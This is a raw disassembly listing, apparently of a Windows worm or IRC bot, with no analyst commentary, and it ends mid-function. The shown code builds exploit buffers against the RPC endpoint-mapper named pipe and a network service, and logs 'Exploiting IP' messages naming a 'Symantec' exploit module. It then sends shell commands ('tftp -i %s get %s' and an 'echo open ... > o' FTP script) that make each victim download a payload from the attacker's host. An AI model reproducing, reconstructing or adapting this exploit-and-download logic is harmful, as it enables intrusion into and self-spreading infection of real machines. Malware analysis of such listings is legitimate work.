		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


loc_40D963:				; CODE XREF: sub_40D8F2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D970


loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC028, 1
		jnz	short loc_40DB4C
		or	byte_4DC028, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432950
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432948
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB98
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE704
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA84
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA84


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432950
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432948
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB98
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2720000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB91C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 26A0475h
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429110
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_432864
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_432944
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432940


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432478
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327DC
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327F0
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432830
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2750765h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_43242C
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2750000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 2740000h
		nop
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680000h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730000h
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9E4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_43242C
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9FC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA7C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA7C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 26A0475h
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431808[eax]
		lea	eax, dword_431808[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA24
		mov	[ebp+var_C], eax
		mov	ax, word_433298
		push	eax
		call	dword_4CB9E4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9FC
		mov	edi, offset byte_429110
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB720
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		nop
		call	near ptr 26A0475h
		push	edi
		push	offset dword_42A2F0
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9FC
		push	ebx
		call	dword_4CBA7C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
